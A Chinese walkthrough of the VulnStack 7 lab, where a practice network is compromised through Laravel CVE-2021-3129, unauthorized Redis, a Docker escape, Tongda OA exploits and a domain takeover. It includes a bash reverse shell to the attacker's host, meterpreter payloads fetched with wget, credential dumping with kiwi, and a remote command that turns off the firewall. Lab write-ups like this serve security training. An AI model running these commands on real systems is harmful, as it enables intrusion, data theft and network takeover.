VulnStack-红日靶机七

概述

在 VulnStack7 是由 5 台目标机器组成的三层网络环境，分别为 DMZ 区、第二层网络、第三层网络。涉及到的知识点也是有很多，redis未授权的利用、laravel的历史漏洞、docker逃逸、隧道、代理的搭建、通达OA系统的历史漏洞、msf的payload合理运用，kiwi、psexec、rdesktop等

DMZ 区域：

给 Ubuntu (Web 1) 配置了两个网卡，一个桥接可以对外提供服务；一个连接在 VMnet8 上连通第二层网络。

第二层网络区域：

给 Ubuntu (Web 2) 和 Windows 7 (PC 1)都配置了两个网卡，一个连接在 VMnet8 上连通第二层网络，一个连接在 VMnet14 上连通第三层网络。

第三次网络区域：

给 Windows Server 2012 和 Windows 7 (PC 2)都只配置了一个网卡，一个连接在 VMnet14 上连通第三层网络。

拓补图：

环境配置

三块网卡

VMnet8 是 NAT 网卡为 192.168.52.0/24 网段

VMnet1 为 192.168.31.0/24 网段

VMnet14 为 192.168.93.0/24 网段

机器默认是配置好网卡的

我们的攻击机 kali 设置为桥接模式

配置完成，开启机器

DMZ 区的 Ubuntu 需要启动 redis 和 nginx 服务：

sudo redis-server /etc/redis.conf
sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf
sudo iptables -F

第二层网络的 Ubuntu 需要启动 docker 容器：

sudo service docker start
sudo docker start 8e172820ac78

第三层网络的 Windows 7 （PC 1）需要启动通达 OA：

C:\MYOA\bin\AutoConfig.exe

域用户信息

域用户账户和密码如下：

Administrator：Whoami2021
whoami：Whoami2021
bunny：Bunny2021
moretz：Moretz2021

Ubuntu 1：

web：web2021

Ubuntu 2：

ubuntu：ubuntu

通达 OA 账户：

admin：admin657260

开启服务后，我们进行渗透测试

一、nmap 扫描

1）端口扫描

sudo nmap -sT --min-rate 10000 -p- 192.168.153.77 -o ports

Starting Nmap 7.93 ( https://nmap.org ) at 2024-11-09 13:38 CST
Nmap scan report for 192.168.153.77
Host is up (0.00080s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
81/tcp   open  hosts2-ns
6379/tcp open  redis
MAC Address: 00:0C:29:34:E3:01 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.96 seconds

2）详细信息扫描

sudo nmap -sT -sV -sC -p22,80,81,6379 192.168.153.77 -o details

Nmap scan report for 192.168.153.77
Host is up (0.00083s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c32db2d3a05fdbbbf6aaa48e79ba3554 (RSA)
|   256 ceaebd38956e5ba639869dfd4953dee0 (ECDSA)
|_  256 3a34c76d9dca4f217109fd5b566b0351 (ED25519)
80/tcp   open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: 404 Not Found
81/tcp   open  http    nginx 1.14.0 (Ubuntu)
|_http-title: Laravel
|_http-server-header: nginx/1.14.0 (Ubuntu)
6379/tcp open  redis   Redis key-value store 2.8.17
MAC Address: 00:0C:29:34:E3:01 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.91 seconds

3）默认脚本扫描

sudo nmap --script=vuln -p22,80,81,6379 192.168.153.77 -o vuln

Starting Nmap 7.93 ( https://nmap.org ) at 2024-11-09 13:59 CST
Nmap scan report for 192.168.153.77
Host is up (0.00052s latency).

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
81/tcp   open  hosts2-ns
6379/tcp open  redis
MAC Address: 00:0C:29:34:E3:01 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 577.64 seconds

二、web 渗透

80 端口是 404

81 端口是 laravel

看到 laravel 版本号是 8.29.0 php 版本 7.4.14

通过 google 找到了 CVE-2021-3129

git clone https://github.com/joshuavanderpoll/CVE-2021-3129.git
cd CVE-2021-3129
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt

执行

python CVE-2021-3129.py --host http://192.168.153.77:81 --exec whoami --force

看到结果

为 www-data 用户

反弹 shell

python CVE-2021-3129.py --force

  _____   _____   ___ __ ___ _    _____ ___ ___
 / __\ \ / / __|_|_  )  \_  ) |__|__ / |_  ) _ \
| (__ \ V /| _|___/ / () / /| |___|_ \ |/ /_,  /
 \___| \_/ |___| /___\__/___|_|  |___/_/___|/_/
 https://github.com/joshuavanderpoll/CVE-2021-3129
 Using PHPGGC: https://github.com/ambionics/phpggc

[?] Enter host (e.g. https://example.com/) : http://192.168.153.77:81/

[?] Would you like to use the previous working chain 'laravel/rce1' [Y/N] : n
[@] Starting the exploit on "http://192.168.153.77:81/"...
[@] Testing vulnerable URL "http://192.168.153.77:81/_ignition/execute-solution"...
[@] Searching Laravel log file path...
[•] Laravel seems to be running on a Linux based machine.
[√] Laravel log path: "/var/www/storage/logs/laravel.log".
[•] Laravel version found: "8.29.0".
[•] Use "?" for a list of all available actions.

[?] Please enter a command to execute : execute bash -c "bash -i >& /dev/tcp/192.168.153.37/4444 0>&1"

[@] Executing command "bash -c "bash -i >& /dev/tcp/192.168.153.37/4444 0>&1""...
[@] Generating payload...
[√] Generated 21 payloads.
[@] Trying chain laravel/rce1 [1/21]...
[@] Clearing logs...
[@] Causing error in logs...
[√] Caused error in logs.
[@] Sending payloads...
[√] Sent payload.
[@] Converting payload...
[!] Exploit request returned status code 500. Expected 200.
Error: "file_get_contents(): stream filter (convert.quoted-printable-decode): invalid byte sequence"
[!] Failed converting payload.
[!] Failed execution of payload.
Error : file_get_contents(phar:///var/www/storage/logs/laravel.log): failed to open stream: internal corruption of phar &amp;quot;/var/www/storage/logs/laravel.log&amp;quot; (truncated entry)
[?] Would you like to try the next chain? [Y/N] : y
[@] Trying chain laravel/rce2 [2/21]...
[@] Clearing logs...
[@] Causing error in logs...
[√] Caused error in logs.
[@] Sending payloads...
[√] Sent payload.
[@] Converting payload...
[√] Converted payload.

这里执行到第二条链的时候可以看到有返回的 shell

看着机器名是一堆字母数字，可能是 docker 容器，检验一下

find / -name .dockerenv 2> /dev/null

看到 web 的环境就是在 docker 容器中的，而我们的权限是 www-data，这个权限我们并不能完成 docker 逃逸。

要进行逃逸的话我们得提权，后续还要去判断可不可以逃逸到物理机。这个操作的优先级我们拍后，先去看 6379 的 redis 服务

三、redis 渗透

用 redis 客户端连接

redis-cli -h 192.168.153.77

看到 redis 是存在未授权访问的，用 redis 写定时任务，获取立足点

写入 ssh_key

生成密钥

ssh-keygen -t rsa

查看

cat ~/.ssh/id_rsa.pub

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJobtOV/fL62xWHd7P4ukg0a+ck1gahYC5iX5OUUmCr8vBcvNCgUXHj7ICoW/6BIA4g8okb7Q4bWznDW00oi6UEgRcZZbDCKtNs9H5lf9+47LHQ3Z92W4KbYML7x9aSsMOXL8M/HqO5hL7B/gv6kHbtPNuiF3+y12kDAV3Ex5NAVjC1fK87YZnU8q92HOVOj3z5Lj5dMIc6P0c3RlqZTRy/rQNnyMkyTpuCImg02Gj3irYi2TqNZIk0ux4h8MiicmX9UNw9J6XUACPwYKohTuBQfvpPWfbs1hIKDDBfTRNa0rOHypfPW+BcQlCwXvLoq8xBxovKjo3dhcTr7Woos7oTpQwX/MNSJ0QF1D9YeT6o3zqvyiF3LvK2+fst8NSS3uHGAhbyNBaftZr4FBaZaaaExpMeLL4RmF+8cqOcsnKn7vBCeHbYnKEMgAvYaFE/WrO8fsVRtGgdFDJLyXluCJ5vme5h/AsFDMhxSMcXcW/HwsYmPpgkDFjAbTKdYZbzqU= kali@kali

写入目标机器（加\n 是换行符，防止垃圾数据干扰）

redis-cli -h 192.168.153.77
192.168.153.77:6379> set 0 "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJobtOV/fL62xWHd7P4ukg0a+ck1gahYC5iX5OUUmCr8vBcvNCgUXHj7ICoW/6BIA4g8okb7Q4bWznDW00oi6UEgRcZZbDCKtNs9H5lf9+47LHQ3Z92W4KbYML7x9aSsMOXL8M/HqO5hL7B/gv6kHbtPNuiF3+y12kDAV3Ex5NAVjC1fK87YZnU8q92HOVOj3z5Lj5dMIc6P0c3RlqZTRy/rQNnyMkyTpuCImg02Gj3irYi2TqNZIk0ux4h8MiicmX9UNw9J6XUACPwYKohTuBQfvpPWfbs1hIKDDBfTRNa0rOHypfPW+BcQlCwXvLoq8xBxovKjo3dhcTr7Woos7oTpQwX/MNSJ0QF1D9YeT6o3zqvyiF3LvK2+fst8NSS3uHGAhbyNBaftZr4FBaZaaaExpMeLL4RmF+8cqOcsnKn7vBCeHbYnKEMgAvYaFE/WrO8fsVRtGgdFDJLyXluCJ5vme5h/AsFDMhxSMcXcW/HwsYmPpgkDFjAbTKdYZbzqU= kali@kali\n\n\n"
OK
192.168.153.77:6379> config set dir /root/.ssh
OK
192.168.153.77:6379> config set dbfilename authorized_keys
OK
192.168.153.77:6379> save
OK

kali 上执行

ssh root@192.168.153.77

四、web 后续

我们已经知道通过 redis 的未授权访问可以获得目标机器的 root 权限了。

但是我们在 web 渗透的时候，发现目标是 docker 容器，所以优先级排后了，我们现在看看他能不能让我们获得目标机器的 shell

1）提权

find / -perm -4000 -type f 2> /dev/null

/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/sudo
/home/jobs/shell
/bin/mount
/bin/su
/bin/umount

发现了一个 /home/jobs/shell 文件，应该是用户自定义的，我们运行看看它具体干了什么事情

看样子是 ps 命令的样式

在同级目录下还看到了 demo.c 的文件

cat demo.c
#include<unistd.h>
void main()
{ setuid(0);
  setgid(0);
  system("ps");
}

看到他用 root 权限执行了 ps 命令

我们可以用修改环境变量的方式进行提权

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
export PATH=/tmp:$PATH

看到系统的 ps 命令已经变成我们自定义的 ps 命令了

/home/jobs/shell

看到成功来到了 root 权限

2）判断 Docker 逃逸

cat /proc/1/status | grep Cap

CapInh: 0000003fffffffff
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

看 capeff 到是 0000003fffffffff，很有可能是特权容器，尝试进行逃逸

3）挂载逃逸

mkdir /.sys
mount /dev/sda1 /.sys

.sys 要挂载的目的目录，可以任意命名，这里我创建的是隐藏目录

挂在完成后，我们进入 /.sys 目录，就可以看到物理机的目录，并拥有读写权限

4）确定靶机的 ip

cat /.sys/etc/network/interfaces

auto eth0
iface eth0 inet static
address 192.168.52.20
netmask 255.255.255.0
gateway 192.168.52.2
dns-nameservers 192.168.52.2

auto eth1
iface eth1 inet static
address 192.168.93.10
netmask 255.255.255.0

看到这台机器的 ip 是 192.168.52.20，192.168.93.10。而我们的 redis 服务的两个 ip 是 192.168.52.10 和 192.168.153.77 应该是做了 nginx 反向代理

我们可以像 redis 渗透 一样写入 ssh_key 或者创建定时任务，来获得物理机起的 shell

mkdir /.sys/root/.ssh

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJobtOV/fL62xWHd7P4ukg0a+ck1gahYC5iX5OUUmCr8vBcvNCgUXHj7ICoW/6BIA4g8okb7Q4bWznDW00oi6UEgRcZZbDCKtNs9H5lf9+47LHQ3Z92W4KbYML7x9aSsMOXL8M/HqO5hL7B/gv6kHbtPNuiF3+y12kDAV3Ex5NAVjC1fK87YZnU8q92HOVOj3z5Lj5dMIc6P0c3RlqZTRy/rQNnyMkyTpuCImg02Gj3irYi2TqNZIk0ux4h8MiicmX9UNw9J6XUACPwYKohTuBQfvpPWfbs1hIKDDBfTRNa0rOHypfPW+BcQlCwXvLoq8xBxovKjo3dhcTr7Woos7oTpQwX/MNSJ0QF1D9YeT6o3zqvyiF3LvK2+fst8NSS3uHGAhbyNBaftZr4FBaZaaaExpMeLL4RmF+8cqOcsnKn7vBCeHbYnKEMgAvYaFE/WrO8fsVRtGgdFDJLyXluCJ5vme5h/AsFDMhxSMcXcW/HwsYmPpgkDFjAbTKdYZbzqU= kali@kali" > /.sys/root/.ssh/authorized_keys

我们在 redis 192.168.153.77 服务器当作跳板，连接这个 docker 物理机

5）搭建 ssh 隧道

在 redis 192.168.153.77 服务器上同时按下 ~C

6）拿到 shell

用代理隧道连接

proxychains ssh root@192.168.52.20

但是它仍然让我们输入密码，出现了 no mutual signature algorithm，这是由于客户端和服务器之间没有共享的签名算法导致的。

添加参数

proxychains ssh root@192.168.52.20 -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostkeyAlgorithms=+ssh-rsa

成功拿到 docker 物理机 192.168.52.20 的 shell

五、上线 msf

1）redis 服务器上线

a）生成木马

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.153.37 lport=4444 -f elf > payload.elf

在 kali 端启动 http 服务

python -m http.server 80

在靶机端下载

wget http://192.168.153.37/payload.elf

chmod +x ./payload.elf

运行

成功上线

b）搭建内网路由

查看网卡网段

meterpreter > ipconfig

meterpreter > run autoroute -s 192.168.52.0/24

看到添加成功

2）docker 服务器上线

a）生成木马

msfvenom -p linux/x64/meterpreter/bind_tcp lhost=0.0.0.0 lport=4444 -f elf > docker.elf

上传到 docker 物理机

proxychains scp -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostkeyAlgorithms=+ssh-rsa -i ~/.ssh/id_rsa docker.elf root@192.168.52.20:/tmp/

看到 docker.elf 上传成功

msf 监听

msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp
payload => linux/x64/meterpreter/bind_tcp
msf6 exploit(multi/handler) > set rhost 192.168.52.20
rhost => 192.168.52.20
msf6 exploit(multi/handler) > run

看到成功上线

b）搭建内网路由

meterpreter > ipconfig

meterpreter > run autoroute -s 192.168.93.0/24

看到我们已经有了 192.168.52.0/24 和 192.168.93.0/24 两个网段的路由了

六、内网扫描

对 192.168.52.0/24 和 192.168.93.0/24 两个网段进行内网扫描

我们把 fscan 上传到 docker 服务器上，因为这个服务器包含了两个内网的网段

这里可以使用 msf 的 meterpreter 的 upload 命令，也可以使用之前的 scp 命令，进行上传

upload www/fscan ./fscan

在 docker 机器上执行

192.168.52.0/24 网段

./fscan -h 192.168.52.3-254

    ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
(icmp) Target 192.168.52.10   is alive
(icmp) Target 192.168.52.20   is alive
(icmp) Target 192.168.52.30   is alive
[*] Icmp alive hosts len is: 3
192.168.52.30:135 open
192.168.52.10:81 open
192.168.52.10:80 open
192.168.52.20:22 open
192.168.52.10:22 open
192.168.52.30:8080 open
192.168.52.20:8000 open
192.168.52.30:445 open
192.168.52.10:6379 open
192.168.52.30:139 open
[*] alive ports len is: 10

还有一些指纹漏洞相关的扫描信息

192.168.93.0/24 网段

./fscan -h 192.168.93.3-254

  / _ \     ___  ___ _ __ __ _  ___| | __                                                                                          
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /                                                                                          
/ /_\\_____\__ \ (__| | | (_| | (__|   <                                                                                           
\____/     |___/\___|_|  \__,_|\___|_|\_\                                                                                          
                     fscan version: 1.8.4                                                                                          
start infoscan                                                                                                                     
(icmp) Target 192.168.93.10   is alive                                                                                             
(icmp) Target 192.168.93.20   is alive                                                                                             
(icmp) Target 192.168.93.30   is alive                                                                                             
(icmp) Target 192.168.93.40   is alive
[*] Icmp alive hosts len is: 4
192.168.93.30:88 open
192.168.93.20:8080 open
192.168.93.10:8000 open
192.168.93.30:445 open
192.168.93.30:139 open
192.168.93.30:135 open
192.168.93.40:445 open
192.168.93.20:445 open
192.168.93.40:139 open
192.168.93.40:3389 open
192.168.93.20:139 open
192.168.93.40:135 open
192.168.93.20:135 open
192.168.93.10:22 open
192.168.93.40:1080 open
[*] alive ports len is: 14

同样有一些指纹和漏洞的扫描信息

看到 192.168.52.30 和 192.168.93.20 都开起了 8080 端口，且都是通达 OA 的指纹，我们有理由怀疑这两个 ip 是同一台机器的

七、内网渗透

访问一下，记得挂上代理，是我们在 docker 服务器上用 ssh 搭建的隧道

发现两个 ip 的通达 OA 是同一个页面，发现他是 2020 年的版本，利用 google 搜索相关漏洞

利用脚本

Fake_user：https://github.com/NS-Sp4ce/TongDaOA-Fake-User

通过对 Fake_user 漏洞的利用，我们成功获取到了管理员的 cookie，在浏览器里替换 cookie

访问

http://192.168.52.30:8080/general/index.php

看到登陆成功

看到通达 OA 的详细版本为 11.3

找到了它的历史漏洞：任意文件上传

找到利用脚本

TongdaOA-exp：https://github.com/z1un/TongdaOA-exp

看到上传了一个冰蝎脚本

这里我修改了它的 TongdaOA-exp 脚本。我发现他在发现 fake_user 漏洞的时候，不能正确获取 cookie。

我把上述 Fake_user 脚本运行出来的 cookie 值替换到了 TongdaOA-exp 脚本中

成功连接

看到 192.168.52.30 和 192.168.93.20 两个 IP 就是本台机器

网络测试

看到目标机器是出网的，直接用冰蝎上线到我们的CS，msf

我这里是虚拟机环境，没有用到公网的服务器，所以我是正向的木马，上线msf

msfvenom -p windows/x64/meterpreter/bind_tcp lhost=0.0.0.0 lport=4444 -f exe > payload.exe

利用冰蝎的文件管理功能，上传到目标机器的C:/Program Files/目录下,并执行

成功上线

sysinfo看到本windows机器是域内机器

八、横向移动

用msf模块重新搭建socks代理，他会根据自己的路由而代理到目标ip

msf6 auxiliary(server/socks_proxy) > run

有第六步内网扫描，可知现在192.168.93.0/24网段还有两台机器192.168.93.30和192.168.93.40两台机器

其中192.168.93.30是域控主机

我们加载msf集成的mimikatz模快---kiwi

load kiwi
creds_all

看到了域管理员的hash和明文密码

尝试用administrator横向移动

msf6 exploit(windows/smb/psexec) > set smbuser administrator              
smbuser => administrator         
msf6 exploit(windows/smb/psexec) > set smbpass Whoami2021         
smbpass => Whoami2021                 
msf6 exploit(windows/smb/psexec) > set rhost 192.168.93.30     
rhost => 192.168.93.30                                 
msf6 exploit(windows/smb/psexec) > run

失败了，应该是防火墙的问题，我们用IPC通道关闭防火墙

net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"
sc \\192.168.93.40 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.93.30 start unablefirewall

成功上线域控

还剩一台pc2, 看到PC2是开启了3389远程桌面管理服务的

proxychains rdesktop -d WHOAMIANONY -u administrator -p Whoami2021 192.168.93.40:3389

把木马上传到PC2上，在上线msf，此时域内机器全部上线到了msf

总结

首先通过redis的未授权拿到了初步的shell。

通过laravel的CVE-2021-3129，拿到了docker的www-data权限，利用内部脚本shell，劫持环境变量提权道了root，查看网络配置文件了解到redis和docker服务器是两台机器。利用docker的特权，挂在物理机的目录，写入ssh的key拿到了docker服务器的root权限

对两个网段进行内网扫描发现通达OA系统，利用Fake_user和文件上传漏洞，拿到了PC1服务器的system权限

利用msf集成的kiwi框架，抓取明文密码，关闭防火墙后，用psexec横向拿下域控

最后用rdesktop拿下PC2

红日靶机(七)笔记

VulnStack-红日靶机七

概述

环境配置

域用户信息

一、nmap 扫描

1）端口扫描

2）详细信息扫描

3）默认脚本扫描

二、web 渗透

三、redis 渗透

写入 ssh_key

四、web 后续

1）提权

2）判断 Docker 逃逸

3）挂载逃逸

4）确定靶机的 ip

5）搭建 ssh 隧道

6）拿到 shell

五、上线 msf

1）redis 服务器上线

a）生成木马

b）搭建内网路由

2）docker 服务器上线

a）生成木马

b）搭建内网路由

六、内网扫描

七、内网渗透

八、横向移动

总结